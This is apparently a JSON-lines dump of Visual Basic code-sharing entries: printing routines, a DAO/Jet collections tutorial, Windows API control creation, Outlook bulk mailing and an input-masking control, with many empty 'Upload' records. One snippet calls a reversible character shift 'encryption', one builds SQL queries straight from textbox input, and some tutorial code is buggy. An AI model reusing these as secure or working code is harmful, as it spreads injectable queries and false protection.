will be a different port, so the ports don't conflict.\nThe client doesn't have to know the IP number, nor do you. The only thing you, the server, has to do before the client connects is modify the CJB.NET account with your current IP number before the client connects. If you have a DSL or better, or a static IP, you won't have to mess with modifying your CJB.NET account to add your new IP.\nAnd there you have it. I hope this has helped some of you out. And if you have any comments suggesting that this doesn't work, I have made several programs that do this... and I've had 0 problems.\nOne more thing, feedback is always welcome. Even if you have something negative to say. Please vote."},{"WorldId":1,"id":11447,"LineNumber":1,"line":"Private Sub mnuFilePrint_Click()\nDim TodaysDate AS Variant\nDim HorizontalMargin As Single \nDim VerticalMargin As Single\nDim BeginPage As Single, EndPage As Single\nDim NumCopies As Single\nDim SheetStyleText As String 'WorkSheet\nDim SheetStyleTextWidth As Single \nDim JobNumberText As String 'JobNo ###\nDim JobNumberTextWidth As Single\nDim CompanyNameText As String '###\nDim CompanyNameTextWidth As Single\nDim JobDescriptionText As String\nDim JobDescriptionTextWidth As Single \nDim JobFontText As String '###\nDim JobFontTextWidth As Single\nDim JobFontSizeText As String '###\nDim JobFontSizeTextWidth As Single\nDim t As Integer ' copies\nDim f As Integer ' counter for anystring()\nDim k As Integer\t'counter for column's\nDim Col(0 To 3), NR\t '4 column's and next row\n CommonDialog1.CancelError = True\n On Error GoTo ErrHandler\n\t' Display the Print dialog box\n CommonDialog1.ShowPrinter\n ' Get user-selected values from the dialog box\nPrinter.ScaleMode = 6 'millimeters\nHorizontalMargin = CommonDialog1.PrinterDefault\nVerticalMargin = CommonDialog1.PrinterDefault\nBeginPage = CommonDialog1.FromPage\nEndPage = CommonDialog1.ToPage\nNumCopies = CommonDialog1.Copies\nFor t = 1 To NumCopies\nNext t\nHorizontalMargin = 10 + HorizontalMargin\nVerticalMargin = 5 + VerticalMargin\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nTodaysDate = Format(Date, \"Long Date\")\nPrinter.Print \"Header Name\"; Space(110); 'initialize the printer\nPrinter.Print TodaysDate\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 16\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nCompanyNameText = \"XYZ Company & Co\" 'user name###\nCompanyNameTextWidth = Printer.TextWidth(CompanyNameText)\nPrinter.CurrentX = (210-CompanyNameTextWidth) / 4\nPrinter.CurrentY = VerticalMargin + 15\nPrinter.Print CompanyNameText\nSheetStyleText1 = \"Work Sheet\"\nSheetStyleTextWidth1 = Printer.TextWidth(SheetStyleText1)\nPrinter.CurrentX = (210-SheetStyleTextWidth1)/1.5\nPrinter.CurrentY = VerticalMargin + 15\nPrinter.Print SheetStyleText1\nJobNumberText = \"Reference / Job #\"\nJobNumberTextWidth = Printer.TextWidth(JobNumberText)\nPrinter.CurrentX = (210-JobNumberTextWidth) / 1.5\nPrinter.CurrentY = VerticalMargin + 33\nPrinter.Print JobNumberText; Space(7);\nPrinter.CurrentY = VerticalMargin + 35\nPrinter.FontBold = False\nPrinter.FontSize = 10\nPrinter.Print jnum '###\nPrinter.FontName = \"Arial\"\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.FontItalic = False\nPrinter.FontUnderline = False\nPrinter.FontStrikethru = False\nPrinter.ForeColor = RGB(0, 0, 0)\nPrinter.CurrentX = HorizontalMargin / 1.5\nCol(0) = 10\nCol(1) = 58\nCol(2) = 106 'col width of 48mm(adjust to suit) \nCol(3) = 154\nNR = 53\nFor f = LBound(anystring) To UBound(anystring)\t\n '### anystring can be numbers, text,\n ' list box contents\n Printer.CurrentX = HorizontalMargin + (Col(k))\t \n 'EG: 10 mm this time \n '58 mm next time etc.\nPrinter.CurrentY = VerticalMargin + (NR)\t\t\n 'EG: 53 mm first time 60 mm next \n 'then 67 mm ect.\nPrinter.Print anystring(f)\nk = k + 1\t'Next column on the next loop\nIf k = 4 Then NR = NR + 7: k = 0 'If you have 4 \n 'anystrings in\n ' this row, start a new row\nIf NR > 270 Then Printer.NewPage: NR = 20\t\n 'Enough on this page\nNext f\t\t\t'Loop\nPrinter.EndDoc\nErrHandler:\n\t'User pressed Cancel button.\n\tEXIT SUB\nEnd Sub\n\n"},{"WorldId":1,"id":11452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11491,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11503,"LineNumber":1,"line":"Private Sub Text1_KeyPress(KeyAscii As Integer)\n' Force numbers only in a text box\nIf IsNumeric(Chr(KeyAscii)) <> True Then KeyAscii = 0\nEnd Sub"},{"WorldId":1,"id":11512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11514,"LineNumber":1,"line":"'THIS FUNCTION ENCRYPTS THE INPUT\nPublic Function DMEncrypt(strText As String)\nOn Error GoTo Xit\nDim Combine As String, i As Integer, Temp As String\nCombine = \"\"\nTemp = \"\"\nFor i = 1 To Len(strText) - 1 Step 2\n If Len(Trim(Str(Asc(Mid(strText, i, 1))))) < 3 Then\n Temp = \"0\" & Trim(Str(Asc(Mid(strText, i, 1))))\n Else\n Temp = Trim(Str(Asc(Mid(strText, i, 1))))\n End If\n Combine = Combine & Temp\n If Len(Trim(Str(Asc(Mid(strText, i + 1, 1))))) < 3 Then\n Temp = \"0\" & Trim(Str(Asc(Mid(strText, i + 1, 1))))\n Else\n Temp = Trim(Str(Asc(Mid(strText, i + 1, 1))))\n End If\n Combine = Combine & Temp\nNext i\nTemp = \"\"\nFor i = 1 To Len(Combine)\n Temp = Temp & Chr(Asc(Mid(Combine, i, 1)) + 128)\nNext i\nDMEncrypt = Temp\nClipboard.SetText Temp\nExit Function\nXit:\nDMEncrypt = \"{{ Error encrypting }}\"\nExit Function\nEnd Function\n'THIS FUNCTION DECRYPTS THE INPUT\nPublic Function DMDecrypt(strText As String)\nOn Error GoTo Xit\nDim Combine As String, i As Integer, Temp As String, Temp2 As Integer\nCombine = \"\"\nFor i = 1 To Len(strText)\n Combine = Combine & Chr(Asc(Mid(strText, i, 1)) - 128)\nNext i\nTemp = \"\"\nFor i = 1 To Len(Combine) Step 3\n Temp2 = Mid(Combine, i, 3)\n Temp = Temp & Chr(Temp2)\nNext i\nDMDecrypt = Temp\nExit Function\nXit:\nDMDecrypt = \"{{ Error encrypting }}\"\nExit Function\nEnd Function\n"},{"WorldId":1,"id":11517,"LineNumber":1,"line":"Public Function OpenBrowser(strURL As String, lngHwnd As Long)\n OpenBrowser = ShellExecute(lngHwnd, vbNullString, strURL, vbNullString, _\n \"c:\\\", SW_SHOWDEFAULT)\nEnd Function"},{"WorldId":1,"id":11522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11529,"LineNumber":1,"line":"<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=windows-1252\">\n<META NAME=\"Generator\" CONTENT=\"Microsoft Word 97\">\n<TITLE>Jet Collections</TITLE>\n<META NAME=\"Template\" CONTENT=\"D:\\OFFICE97\\OFFICE\\html.dot\">\n</HEAD>\n<BODY LINK=\"#0000ff\" VLINK=\"#800080\">\nUsing Collections in Visual Basic \nPart 2 - Jet Database Collections\n┬á\nMost Visual Basic developers are familiar with the Jet Database Engine. While it receives a lot of flack from developers who work with more powerful systems such as Oracle or SQL Server, Jet has a lot of really good features that make it ideal for a desktop application. Besides, we VB Developers are used to sneers and comments from \"hard core\" language programmers. \"What is that? A string parameter? Why, in C++, we don't pass strings! We pass pointers to memory addresses that contain null terminated string arrays! That's how real men handle strings!\"\nYea, whatever.\nObviously we VB developers aren't interested in doing things the hard way, and Jet is a wonderful way to avoid it while still having a high level of control over your data. Before I go into the wonderful benefits of the Jet Database Engine, I think it is appropriate to point out that if you are in the habit of using data controls on your forms to access databases, you are greatly limiting your freedom to work with data, and you are bypassing many of the most useful things about Jet. At the risk of sounding like the C++ developer I was just making fun of, you really should take the time to learn DAO or ADO. If there is any interest in a general \"This is how you use DAO/ADO\" tutorial out there, let me know and I will work one up.\nThis tutorial won't go over how to use DAO or ADO for data access. Since DAO seems to be the most common method for accessing Jet data right now, I will give all of my code examples in DAO. If you don't know how to use DAO yet, maybe this article will convince you that it is worth learning. There have been entire books written on using the Jet Database Engine, so to try to cover the \"how to\" basics AND Collections here would get pretty long winded. So I am going to stick to collections.\nNow, on with the tutorial:\nMicrosoft Jet is not actually a thing. It is more like a format. A Jet database consists of a single file with many internal elements. You Access Developers out there will be familiar with the concept of a single Access .mdb file containing many different objects. While it is useful in Access to have forms, macros, and reports in a single file, it is kind of pointless with Visual Basic. You have no way to use those objects from the VB environment, so they are just filler. Therefore, we are going to focus on the Table and Query objects. Don't get too hung up on how Jet stores all of these things in a single file and keeps up with it all, just trust that it does and go with it. For the technically curious, .mdb files are similar to a miniature file system within a single file \"wrapper\". \nSo, on to the meat of this thing. Jet Database Collections. \nIf you read my other tutorial on <A HREF=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.9349/lngWId.1/qx/vb/scripts/ShowCode.htm\">collections</A>, or if you have worked with collections before, this will not seem totally new to you. If not, you can probably hang in there anyway. These examples aren't tough.\nMicrosoft Jet is, as mentioned, a collection of database objects in a single file. These objects have a hierarchy. This just means that there are top level and lower level members, and the top level ones \"contain\" lower level ones. In Jet, the highest level object is the Database object. It is, for all practical purposes, the file itself. Think of it as a big box. Within that box we see other objects. The ones we are concerned with are Tables and Queries. \nWhen Jet stores a table or query, it actually stores a set of information that acts as a table definition. It describes the table to the Jet database engine, and the Jet engine creates it when it needs it. Think of it as a template. The names Microsoft chose to give these objects are a little puzzling unless you know that they are definitions. They are called TableDefs and QueryDefs. They are essentially identical from the collections point of view, so we will concentrate on tablesdefs and then wrap it up with querydefs.\nSo enough of this technical stuff, how about some code. \n(NOTE: DAO requires a reference to the Data Access Object in the References of your project. For information on how to add a reference to DAO, see VB Help and search for \"Creating a Reference to an Object))\n┬á\nTake this example:\nPrivate Sub ShowCustomers()\n\tDim dbCustomers As Database\n\tDim rsCustomers As Recordset\n\t'\tCreate your data objects and open the table \"Customers\"\n\tSet dbCustomers = OpenDatabase (\"C:\\Program Files\\CustomerInfo\\Customers.mdb\")\n\tSet rsCustomers = dbCustomers.OpenRecordset (\"Customers\")\n\t'\tList some information from the database to the debug window\n\tDebug.Print rsCustomers!LastName\n\tDebug.Print rsCustomers!FirstName\n\tDebug.Print rsCustomers!PhoneNumber\n┬á\n\t'\tAlways clean up after you are done!\n\tset dbCustomers = Nothing\n\tset rsCustomers = Nothing \nEnd Sub\nThis sub simply opens a Jet database and displays three values from it. This is pretty easy and straightforward. But there is a problem with this type of code. You have to have prior knowledge of what is in the data file. You have to know the table name, and within the table, you have to know the field names. You may even need to know if those fields are number or string fields. Is PhoneNumber a string or Long datatype? How can you tell? Do we even care?\nAnswer: Probably not. Most of the time that we access databases, we already know the field names and datatypes. So what is my point? My point is, you may not know. I recently created a small project that would allow you to select a table from an Access .mdb file and view all of the data and in a grid. There is no possible way I could know what any random database file is going to contain. There could be any number of tables with any names, and each of those tables could have any arrangement of fields. Obviously there is a way to get to that sort of information in code without knowing it in advance. Either that or my project was a miserable failure, and I can tell you it wasn't...just a modest one. There is a way to examine any Jet database and determine its elements. This method is collections (FINALLY!).\nIf you remember, I said earlier that the highest level object in a Jet database is the Database object. That means that if we want to refer to anything within the database, you must reference it THROUGH this object. But how do you do THAT? We already have. Look at the code above and you will see this line: \n \n\tSet rsCustomers = dbCustomers.OpenRecordset (\"Customers\")\nThis line tells VB to create a new Recordset object based on dbCustomers, using the table Customers. To refer directly to that table in code, you could use this syntax:\n\tdbCustomers.TableDefs(\"Customers\")\nBecause what you are really telling it to do is to look at the table named \"Customers\", which is part of the TableDefs COLLECTION in the database dbCustomers. The TableDefs collection contains all of the tables in the database...even the super-secret hidden ones that Jet uses internally to manage the data. Hidden tables will begin with mSys. You will see them later on.\nBut wait! In the example above, I just did it the hard way. I still had to know the name of the table...or did I? Although you can refer to the tables in the manner that I did, you don't have to. All collections in Visual Basic are enumerated. That means that they are basically a glorified array. And as you know, you can refer to the elements of an array with an index number. For example, to find out what the 5the element in a string array is, you could do this:\nstrTest = strTestArray(4)\n(Remember, arrays are zero-based unless you specify the Option Base explicitly...just a reminder).\nSo to get the first element in the array, you could say this:\n\tstrTest = strTestArray(0)\nEasy, right? Well then you have got the concept. You can reference tables in a Jet database the same way:\n\tstrTableName = dbCustomers!TableDefs(0).Name\n\tDebug.Print strTableName\n\t\t\nThis will return the name of the table - Customers.\nWait! This is getting cool! That means that if you know the index number, you can get the name! But how can I know the index of a particular table? You can't. But as you will see, it doesn't matter, because you can use the For...Next command to go through them all.\nCheck this out:\nPrivate Sub ListTables()\n\t\n\tDim dbTableList As Database\n\tDim intTableNumber As Integer\n\tDim strTableName as String\n\tSet dbTableList = OpenDatabase (\"C:\\program files\\customerinfo\\ customers.mdb\")\n\tFor intTableNumber = 0 To dbTableList.TableDefs.Count - 1 \n\t\tstrTableName = dbTableList.TableDefs(intTableNumber).Name\n\t\tDebug.Print strTableName\n\tNext intTableNumber\nEnd Sub\nThere are a couple of things to note here. The first is that I used 0 to dbTableList.TableDefs.Count -1. All collections have a built-in property \"Count\" which contains the number of elements in the collection. This is just like the Recordset's RecordCount property. If you have ever done this:\n\tintRecords = rsCustomers.RecordCount\nThen you have used the Count property. It always returns a number equal to the number of elements. If there are no elements, it will return 0. \nThe next thing to note is the use of the Name property. As with all object in VB, each element in the TableDefs collection can have an associated Name. This is exactly what you were referring to earlier when you said:\n┬á\n\tdbCustomers.TableDefs(\"Customers\")\nSo now you see how you can get the names of tables without any prior knowledge of the database. You can also get other properties from them such as RecordCount. Take some time to explore all of the available properties...you may be surprised.\nWe now have a big part of the problem whipped. We can go into a table and list the table names in code. Cool. But what about fields? Trust me, it is EXACTLY the same concept.\n\t\tFor intFieldNumber = 0 to rsCustomers.Fields.Count - 1 \n\t\t\tstrFieldName = rsFieldList.Fields.Name\n\t\t\tDebug.Print strFieldName\n\t\tNext intFieldNumber\nThis works because the TableDef object contains a Fields collection. You could combine the two examples and get a list of EVERY FIELD in EVERY TABLE in your database. Try it:\nPrivate Sub ListAllTables()\n\t\n\tDim dbTableList As Database\n\tDim strTableName as String\n\tDim intTableNumber As Integer\n\tDim strFieldName As String\n\tDim intFieldNumber As Integer\n\tSet dbTableList = OpenDatabase (\"C:\\program files\\customerinfo\\customers.mdb\")\n\tFor intTableNumber = 0 To dbTableList.TableDefs.Count - 1 \n\t\tstrTableName = dbTableList.TableDefs.Name\n\t\tDebug.Print strTableName\t\t\t\n\t\tFor intFieldNumber = 0 To rsCustomers.Fields.Count - 1 \n\t\t\tstrFieldName = rsFieldList.Fields.Name\n\t\t\tDebug.Print strFieldName\n\t\tNext intFieldNumber\n\t\tintFieldNumber = 0 \n\tNext intTableNumber\nEnd Sub\nHow about that! You can make it look a little neater by adding an indention for the fields. Just change this line: \n\tDebug.Print strFieldName\nto\n\tDebug.Print & \" \" & strFieldName\nYour debug window will contain something like this:\nCustomers\n\tLastName\n\tFirstName\n\tPhoneNumber\nOrders\n\tOrderNumber\n\tAmount\n\tDate\n....\n┬á\nI could go on with examples, but I bet you get the idea now. I will get your curiosity up by telling you that the Field object also contains a Properties collection. It has such information as Data Type, Length, Name, etc. That is how you were able to get the name of the field. You can access this collection like this:\n\t\tstrFieldName = rsFieldList.Fields.Properties(2).Name\n\t\tstrFieldName = rsFieldList.Fields.Properties(2).Length\nWith that I will turn you loose to go experiment on your own. I am including the application that I wrote. It is VERY well commented, so maybe you can see how all of this database collections stuff is put to work. \nBy the way, I mentioned QueryDefs as well as TableDefs. Basically, the only difference is that you reference a saved query by referencing the QueryDefs collection instead of the TableDefs collection. Example: <DIR>\n<DIR>\nSet rsCustomers = dbCustomers.QueryDefs(\"Customers\") </DIR>\n</DIR>\nOr<DIR>\n<DIR>\nSet rsCustomers = dbCustomers.QueryDefs(2)\n┬á\n┬á</DIR>\n</DIR>\nHave fun!\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":11530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11547,"LineNumber":1,"line":"Private Sub Command1_Click()\nUnload Me 'Unload the program\nEnd\nEnd Sub\nPrivate Sub Form_Load()\n'set the Colwidth of the grid\nfg.ColWidth(0) = 550\nfg.ColWidth(1) = 3000\nfg.ColWidth(2) = 3000\nEnd Sub\nPrivate Sub Text1_Change()\nAdodc1.RecordSource = \"select PubID,Name,[Company Name] from publishers where ucase(mid(pubid,1,\" & Len(Text1.Text) & \"))= '\" & Text1.Text & \"' and ucase(mid(name,1,\" & Len(Text2.Text) & \"))= '\" & Text2.Text & \"'\"\nAdodc1.Refresh\nfg.SelectionMode = flexSelectionByRow\n'The mid function checkes the records according\n'to the info typed in the textbox.\n'It queries the ADODC with every letter typed\n'in the textbox,making it a bit more refined\n'search on the records.\nEnd Sub\nPrivate Sub Text2_Change()\nAdodc1.RecordSource = \"select PubID,Name,[Company Name] from publishers where ucase(mid(name,1,\" & Len(Text2.Text) & \"))= '\" & Text2.Text & \"'\"\nAdodc1.Refresh\nfg.SelectionMode = flexSelectionByRow\nEnd Sub\n'Just use the mid function as i have and\n'you can query any database for the record.\n'This kind of search is useful if the u have to\n'go thru a large database.\n\n'PLEASE VOTE\n"},{"WorldId":1,"id":11548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11554,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"de\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Neue Seite 1</title>\n<meta name=\"Microsoft Theme\" content=\"none, default\">\n</head>\n<body>\n(best viewed in 1024 x 768)\nC++\nControls in your app - Now with tutorial\nHi, this is the update to my\ncode "Real C++ Controls in your app" which I submitted at the\nbeginning of September.\nNow somebody posted that this\ncode isn┬┤t explained well and so I wrote this tutorial.\nIf there would still be any\nproblems just E-Mail me at\n<a href=\"mailto:druid-developing@gmx.de\">druid-developing@gmx.de</a>\nImportant note: This tutorial\nis also included in the .zip file. You don┬┤t have to read it here.\n \n1. How to use\nthis code in your app\nFirst you have to include\nthe modMain.bas in your project.\nThen goto the menu "Project"\nand click "Properties of ...".\nIn this window set the\nStart Object to "Sub Main".\nIn the Sub Main which is\nin the modMain you can now create the controls.\nCall the function like\nthis:\n \nHwnd of the\ncontrol = CreateControl( "Edit" (Classname) , "This is a TextBox"\n(Text) , 3 (Left) , 3 (Top) , 100 (Width) , 50 (Height) , (Optional Style) )\n \nThat┬┤s it! No difficult API Calls, not\nmuch code, just ONE FUNCTION!\nVery easy to use, even\nfor beginners.\n \n2. How to\ninteract with the controls\nIf you want to use the\ncontrols like normal controls, with Events and Properties it is a bit more\ndifficult.\nFor every Property\nand Event you firs need the WindowHandle of the control.\nYou get it from the\nCreateControl function (look above).\nIf you want to get e.g.\nthe Text of a created TextBox control you can do it like this:\n \n'Declare\nVariable to save the WindowHandle\nPublic TextBoxHwnd as Long\n'Create the\nTextBox\nTextBoxHwnd =\nCreateControl( "Edit" , "Text to get" , 3 , 3 , 100 ,\n40 )\n \nUsing this Function you\ncan get the actual Text of the TextBox\nFunction\nGet_Text_Of_Control(ByVal cHwnd as Long) as String\nDim\nControlText As String\nControlText = Space(254)\n'Use the GetWindowText API to get the actual\ntext of the TextBox control\n GetWindowText\ncHwnd ,\nControlText , 254\nGet_Text_Of_Control\n= Trim(ControlText)\nEnd Function\n \nUse this function like\nthis:\nTextBoxText =\nGet_Text_Of_Control(TextBoxHwnd)\nMsgBox\nTextBoxText\n \nTo use an Event, e.g. the click Event of\na Button you can do it like this:\n \n'Declare\nVariable to save the WindowHandle\nPublic ButtonHwnd as Long\n 'To save the old WindowProcedure for the button\nPublic gButOldProc as Long\n \n'Create the\nButton\nButtonHwnd =\nCreateControl( "Button" , "Click this button" , 3 , 3\n, 100 , 40 )\n 'Get the address of the standard button procedure and save it in\n"gButOldProc"\ngButOldProc& = GetWindowLong(ButtonHwnd&,\nGWL_WNDPROC)\n'Use GWL_WNDPROC to save the adress of the procedure for the\nbutton\n'You have to do this for every control you want to have a procedure\n Call SetWindowLong(ButtonHwnd&, GWL_WNDPROC, GetAddress(AddressOf ButtonWndProc))\n \n'This is the procedure that is called when you click the button\nPublic Function ButtonWndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n Select Case uMsg&\n Case WM_LBUTTONUP:\n'Left button is up (user clicked the Button)\n'Use\n"WM_LBUTTONDOWN"\nMsgBox\n"The button was clicked"\n'Call the standard window proc\n ButtonWndProc = CallWindowProc(gButOldProc&, hwnd&, uMsg&, wParam&, lParam&)\nEnd Function\n \n3. Final\nExplanations\nThe special thing on this\ncode is that you can use every registered Windows class name for a control.\nYou can also create an\nown class name using the API "RegisterWindowClass".\nThat┬┤s all for today,\nbye.\nMaybe I update this code\nonce more.\nPS: Please excuse me\nfor my bad English, I┬┤m German.\nAnd PLEASE,\nPLEASE, PLEASE VOTE FOR ME!!!\n</body>\n</html>\n"},{"WorldId":1,"id":11557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11566,"LineNumber":1,"line":"'Option Explicit\nPublic Sub MailToUsers()\n Dim myOlApp As Application\n Dim myItem As MailItem\n Dim Path As String\n Dim myAttachments As Attachments\n Dim db As Database\n Dim rs As Recordset\n Dim BodyMsg As String\n \n On Error GoTo myErr\n \n 'Set Database and Path to use to use\n Set db = OpenDatabase(\"z:\\DatabasePath\\dbDatabaseName.mdb\")\n \n 'Set Path to where Files are located\n Path = \"z:\\SnapshotFilesPath\\\"\n 'Set Value for Body Message\n BodyMsg = \"Type whatever bodymessage you might need\"\n 'Set Recordset to Users Table\n Set rs = db.OpenRecordset(\"tblUsers\")\n \n 'Open or use Outlook\n Set myOlApp = CreateObject(\"Outlook.Application\")\n \n rs.MoveLast\n rs.MoveFirst\n \n Do Until rs.EOF\n \n 'Creates a new Outlook MailItem\n Set myItem = myOlApp.CreateItem(olMailItem)\n With myItem\n .To = rs.Fields(\"[Email]\")\n .Subject = \"Supply your subject line here\"\n .Body = BodyMsg\n End With\n \n 'This Creates an Outlook attachment \n Set myAttachments = myItem.Attachments\n With myAttachments\n 'Do for all reports\n .Add Path & \"\\rptReport1.snp\"\n .Add Path & \"\\rptReport2.snp\" \n \n '************************************\n 'Additional Documents can be added\n 'Supply full Path and File Name\n \n '.Add \"c:\\moc\\Questionnaire Script Changes for Dealer Reports 2000_03.doc\"\n '************************************\n \n 'Use myItem.Save ISO myItem.Send to view before sending\n 'myItem.Save\n myItem.Send\n End With\n \n 'Go to the next user\n rs.MoveNext\n \n Loop\n \n Set myOlApp = Nothing\n Set rs = Nothing\n Set db = Nothing\n Exit Sub\n \nmyErr:\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":11568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11572,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11573,"LineNumber":1,"line":"\nIncluded with this tutorial is an excellent project of a control that handles masking for several different masking data. These masks \ninclude:\nDate masking with long, medium and short date types. This is probably the best feature of the control. The control actually attempts to \npredict the month and day that is being submitted. If the developer has selected long date as the mask type, for example, and the user enters the \nletter \"F\", then the control will automatically return \"February \". The same is true if the user enters a number \"2\", since \"February is \nunderstandably the second month of the year.\nPhone masking. Allows the developer to define whether parenthesis, dashes and/or spaces are allowed.\nSocial Security Number masking. Allows the developer to define whether dashes are allowed or not.\nZip code masking. Allows the developer to define either 5 or 9 numbered zip codes.\nEmail masking. Only accepts well-formed email address.\nCustom masking. Allows the developer to decide if aplha characters are allowed, numeric characters, and user-defined characters. Also, allows \na maximum length of the control to be defined.\nThe source code for this control is provided as well (although it was written in VB6 with SP4), as well as a sample application that uses each \ntype of masking format. Please feel free to alter andor distribute the code as desired.\nPlease direct any questions, comments, suggestions, and/or bugs to <a href=\"mailto:sean28681@yahoo.com\">Sean L. Street</a>\n \nClasses\nA class object can be thought of as a template of sorts. The way I’ve adapted to teaching my students is as follows. Imagine that you are \nstanding in front of a vending machine that accepts only quarters, dimes and nickels; a change machine that accepts only one dollar, five dollar, \nand ten-dollar bills; and a bubble gum machine that accepts only pennies. First, you must decide what you desire, then you determine what type of \ncurrency you have in your pocket (the pocket class). Lets assume that you have a five-dollar bill, and four pennies. You’ve determined that you \nwant a candy bar from the vending machine that costs 50 cents and a piece of bubble gum that costs a penny. You inset the penny into the \nbubblegum \"class\" and low and behold! out comes a piece of bubble gum. Next, you’re stuck in a dilemma. You only have a five and the vending \nmachine accepts only silver change. Being the genius that you are, you realize that you need to first inset your five into the change machine and \nthen take the result of that process and insert a portion of it into the vending machine. I use this scenario to also describe the purpose of \nchild (also called sub) classes I do not use any child classes here, so I’m not going to go into detail about them here. The relationship between \nclasses and our example is this:\nClasses are like templates that only accept certain types of data. They can return results determined by the inputted data, or they can just \nbe storage of data in either case, they are not used until they are needed. In some cases, when compiled in a DLL for example, classes can be \nused by other people. This is a great way to reduce in code writing. Lets look at our scenario again.\nIn this example we basically have four classes:\nPocket Class (this class stores your currency of any type)\nChange Class (this class converts dollar bills into silver change)\nVending Class (this class converts silver change into food)\nBubbleGum Class (this class converts pennies into gum)\nLet’s say that you are happily eating your candy bar, when your spouse witnesses your delights. Your spouse demands the contents of your \nPocket Class so that they may indulge in the pleasures of the Vending Class as well. In this case, you have just shared the Pocket Class with \nanother "application." \nOur masking control uses classes in somewhat the same method. First, we are passed values from the interface. Next, we determine which class \nwe need to use. Then, we filter that data accordingly. Finally, we return the results of our processes back to the interface.\nUser Controls\nAn Active-X User Control is very similar to a Visual Basic form. In our case, we have a textbox on our user control. We then handle all \nevents from that textbox within the user control itself. The only thing the user sees is the result of our filtering and manipulation of the \npassed data. We allow the user to set properties to allow some flexibility of the outcome of the data, but we ultimately control the processing \nof data within our control. This allows our users to simply place the control on their forms and demand the respective output and not have to \nnegotiate the inputted data.\nProperty Pages\nThe property page is the interface that allows our users to define the type of masking that is to take place. When a user ‘right clicks’ our \ncontrol at design time, the control will display our property pages. To have a property page appear when a user "right clicks" our \ncontrol, we have to include it in the PropertyPages property of the control itself. When we click the ellipse of the PropertyPages property of \nthe control, we get a list of our user-defined properties as well as a few predefined ones. If we wanted to include the predefined \n"Font" property page, we would simply place a check next to it on the Connect Property Pages screen. Once we have defined all of the \nproperty pages we want to display, they will appear when the user right clicks the control at design time. Inside of our property pages, we have \nfunctions to manage when properties are changed. If a property is changed, then the changed flag is raised and in turn, the Apply button of the \nproperty page is enabled. When the Apply button is clicked or the property page looses focus, then the PropertyPage_ApplyChanges event of the \nproperty page is fired. When this event is fired, we save the changes to our instantiated class object (See Classes above). Code within the \nclass object will then save the changes out to an INI file. In our property pages we handle the functions of loading the data for the property \npage. This is accomplished in the PropertyPage_Paint event of the page. Here, we determine if the selected page is the type of mask selected. \nIf it is, we allow all the controls on the page to be visible. Otherwise we make the controls invisible. (View the comments within the pagDate \nproperty page of the project).\n"},{"WorldId":1,"id":11576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11604,"LineNumber":1,"line":"'**********************************************\n'*Put the following code in any function.\n'*This code opens database connection/recordset. \n'*I have connected via datasource\n'**********************************************\nDim cn As New ADODB.Connection\nDim rs As New 